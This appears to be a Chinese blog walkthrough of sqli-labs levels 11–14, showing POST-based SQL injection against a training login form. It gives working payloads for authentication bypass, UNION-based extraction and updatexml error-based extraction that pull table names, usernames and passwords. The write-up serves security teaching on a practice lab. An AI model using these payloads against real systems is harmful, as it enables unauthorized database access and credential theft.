sqli-lab靶场学习(四)——Less11-14(post方法)

news2024/12/23 17:34:35

前言

第1-10关都是get方法,本关开始进入post方法。其实post也好get也好,本质都差不多,使用的技巧也基本相同。

Less11

第11关打开是一个输入用户名密码的界面

显然登陆对话框会使用post方式提交,这里我们尝试在Username一栏通过单引号闭合看看什么效果:

提示有个报错,看来就是单引号闭合,那可以肯定这里有个注入点,在Username框尝试(注意每个输入前面都有个单引号+空格!是闭合变量用的,不是手误):

' or 1=1 -- asd

 是不是发现和第一关的get方法效果类似!既然有回显,那就尝试通过联合注入的方式,先看看有多少列,在Username框输入:

' union select 1 -- asd

这里报错了,表示union后的列数不对,当我们尝试:

' union select 1,2 -- asd

不仅对了,而且还把联合注入部分回显到页面,和第一关类似。那接下来就是获取数据库命了,在Username框输入:

' union select database(),2 -- asd

得到数据库名为security。接着就是获取表名:

' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- asd

显然users应该就是我们要找的表,然后是查找列名:

' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') -- asd

 列名中username和password应该就是我们要找的列,然后查出用户名和密码:

' union select 1,(select group_concat(username) from users) -- asd

' union select 1,(select group_concat(password) from users) -- asd

通关!

Less12

第十二关先输入单引号

显示错误,再输入双引号:

 看报错信息,应该是双引号和括号作为闭合,测试一下,在Username框输入:

") or 1=1 -- asd

成功,那就确定了通过双引号+括号闭合。剩下的参考第11关即可,不再复述。

Less13

第13关先测试单引号

看来是单引号+括号的闭合,再测试:

') or 1=1 -- asd

确定了单引号+括号的闭合,但是这里没有登陆正确的回显。不过有错误的回显,所以可以利用updatexml大法来处理,和第五关的处理方式类似。在Username框输入:

') or updatexml('1',concat('~',database(),'~'),'1') -- asd

找出了数据库名为security。然后找出对应表名,Username对话框输入:

') or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'),'1')  -- asd

 第一个表是emails,我们逐个尝试,当输入:

') or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~'),'1')  -- asd

找出了users表。接着是列名,同样我们逐个尝试后,在输入以下两条时找到了username和password列名:

') or updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 4,1),'~'),'1')  -- asd
') or updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 5,1),'~'),'1')  -- asd

之后找出用户名,Username框输入:

') or updatexml('1',concat('~',(select username from security.users limit 0,1),'~'),'1')  -- asd

 

密码:

') or updatexml('1',concat('~',(select password from security.users limit 0,1),'~'),'1')  -- asd

通关!

Less14

第14关和13关类似,区别仅在于通过双引号闭合,其余都一样,不另外叙述。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2151742.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【软件基础知识】什么是 API,详细解读

想象一下,你正在使用智能手机上的天气应用。你打开应用,瞬间就能看到实时天气、未来预报,甚至是空气质量指数。但你有没有想过,这些数据是如何神奇地出现在你的屏幕上的?答案就在三个字母中:API。 API,全称Application Programming Interface(应用程序编程接口),是现代软件世…

大数据最新面试题(持续更新)

2024大数据面试题 什么是Hbase?它与Hadoop的关系是什么? Hbase是一个开源的分布式数据库,基于Hadoop的HDFS,用于大数据存储和处理。它提供了高性能的读写能力和可扩展性。 Hbase的架构是什么? Hbase的架构由Region…

C++11——lambda

lambda lambda的介绍lambda的使用lambda的细节->捕捉列表 lambda的介绍 lambda是匿名函数,再适合的场景去使用可以提高代码的可读性。 场景: 假设有一个Goods类需要进行按照价格、数量排序 class Goods {string name;size_t _price;//价格int num;/…

大模型推理性能优化

LLM 推理的核心指标 首 Token 延迟(决定了用户体验) 延迟:从输入到输出最后一个 token 的延迟 吞吐量:每秒针对所有请求生成的 token 数(针对所有并发请求) 推理的性能卡点 1. KV-Cache 大小导致并发能力受限 LLM推理的过程是一个自回归的过程,前 i 次的token会作为…

秒懂Linux之共享内存

目录 共享内存概念 模拟实现共享内存 创建key阶段 ​编辑创建共享内存阶段 删除共享内存阶段 查看共享内存属性阶段 挂接共享内存到进程阶段 取消共享内存与进程挂接阶段 进程通信阶段 添加管道改进版 共享内存函数 shmget函数 shmat函数 shmdt函数 shmctl函数 共享内存概念 共…

第二十一节:学习Redis缓存数据库的Hash操作(自学Spring boot 3.x的第五天)

这节记录下Redis的Hash操作。主要是opsForHash方式和boundHashOps方式。 boundHashOps和opsForHash都是Spring Data Redis中用于操作Redis哈希数据结构的方法,但它们在使用方式和场景上存在一些区别。 boundHashOps 使用方式: boundHashOps方法通过Redi…

【第十三章:Sentosa_DSML社区版-机器学习聚类】

目录 【第十三章:Sentosa_DSML社区版-机器学习聚类】 13.1 KMeans聚类 13.2 二分KMeans聚类 13.3 高斯混合聚类 13.4 模糊C均值聚类 13.5 Canopy聚类 13.6 Canopy-KMeans聚类 13.7 文档主题生成模型聚类 13.8 谱聚类 【第十三章:Sentosa_DSML社…

C#基于SkiaSharp实现印章管理(8)

上一章虽然增加了按路径绘制文本,支持按矩形、圆形、椭圆等路径,但测试时发现通过调整尺寸、偏移量等方式不是很好控制文本的位置。相对而言,使用弧线路径,通过弧线起始角度及弧线角度控制文本位置更简单。同时基于路径绘制文本时…

Chainlit集成LlamaIndex实现知识库高级检索(简单融合寻回器)

检索原理 ** 简单融合寻回器 ** 简单融合寻回原理,是利用多个检索器,融合查询最终的结果返回给LLM。此检索器还将通过生成与原始问题相关的问题,用相关问题再次检索多个检索器的数据,把原始问题和相关问题经过多个检索器检索结果…

Relations Prediction for Knowledge Graph Completion using Large Language Models

文章目录 题目摘要简介相关工作方法论实验结论局限性未来工作 题目 使用大型语言模型进行知识图谱补全的关系预测 论文地址:https://arxiv.org/pdf/2405.02738 项目地址: https://github.com/yao8839836/kg-llm 摘要 知识图谱已被广泛用于以结构化格式表…

高级java每日一道面试题-2024年9月20日-分布式篇-什么是CAP理论?

如果有遗漏,评论区告诉我进行补充 面试官: 什么是CAP理论? 我回答: 在Java高级面试中,CAP理论是一个经常被提及的重要概念,它对于理解分布式系统的设计和优化至关重要。CAP理论是分布式系统理论中的一个重要概念,它描述了一个分…

【数学分析笔记】第3章第2节 连续函数(4)

3. 函数极限与连续函数 3.2 连续函数 3.2.9 反函数的连续性定理 【定理3.2.2】【反函数连续性定理】设 y f ( x ) yf(x) yf(x)在闭区间 [ a , b ] [a,b] [a,b]上连续且严格单调增加,设 f ( a ) α , f ( b ) β f(a)\alpha,f(b)\beta f(a)α,f(b)β&#xff0…

仓颉编程入门

#体验华为仓颉编程语言# 仓颉发布的第一时间,就申请了测试。昨天发现申请通过 ,果断下载SDK体验一下。 废话不多说,从下载完开始,下面这个图,就是下载的文件: 看文件夹样子跟c/c套路差不多。bin目录是cjc…

linux安装nginx+前端部署vue项目(实际测试react项目也可以)

🧸本篇博客作者测试上线过不下5个项目,包括单纯的静态资源,vue项目和react项目,包好用,请放心使用 📜作者首页:dream_ready-CSDN博客 📜有任何问题都可以评论留言,作者将…

什么是大模型的泛化能力?

大模型的泛化能力指的是模型在未见过的数据上表现的能力,即模型不仅能在训练数据上表现良好,也能在新的、未知的数据集上保持良好的性能。这种能力是衡量机器学习模型优劣的重要指标之一。 泛化能力的好处包括但不限于: 提高模型的适应性&a…

基于uniapp的民宿酒店预订系统(后台+小程序)

💗博主介绍💗:✌在职Java研发工程师、专注于程序设计、源码分享、技术交流、专注于Java技术领域和毕业设计✌ 温馨提示:文末有 CSDN 平台官方提供的老师 Wechat / QQ 名片 :) Java精品实战案例《700套》 2025最新毕业设计选题推荐…

F28335中断系统

1 中断介绍 1.1 中断概念 1.2 TMS320F28335 中断概述

CUDA并行架构

一、CUDA简介 CUDA(Compute Unified Device Architecture)是一种由NVIDIA推出的通用并行计算架构,该架构使GPU(Graphics Processing Unit)能够对复杂的计算问题做性能速度优化。 二、串并行模式 高性能计算的关键是利用多核处理器进行并行计算。 串行模式&#…

使用LangGPT提示词让大模型比较浮点数

使用LangGPT提示词让大模型比较浮点数 背景介绍环境准备创建虚拟环境安装一些必要的库安装其他依赖部署大模型启动图形交互服务设置提示词与测试 LangGPT结构化提示词 背景介绍 LLM在对比浮点数字时表现不佳,经验证,internlm2-chat-1.8b (internlm2-cha…

Excel-时间取整,工作有效时长计算

在计算考勤时,打卡时间不是整点,上班时间是遵循整点开始计算的,员工提前打卡,所以要用到时间向上取整。 上班取整: 使用CEILING函数可实现该需求,参考以下公式,第一个参数为上班打卡时间&#…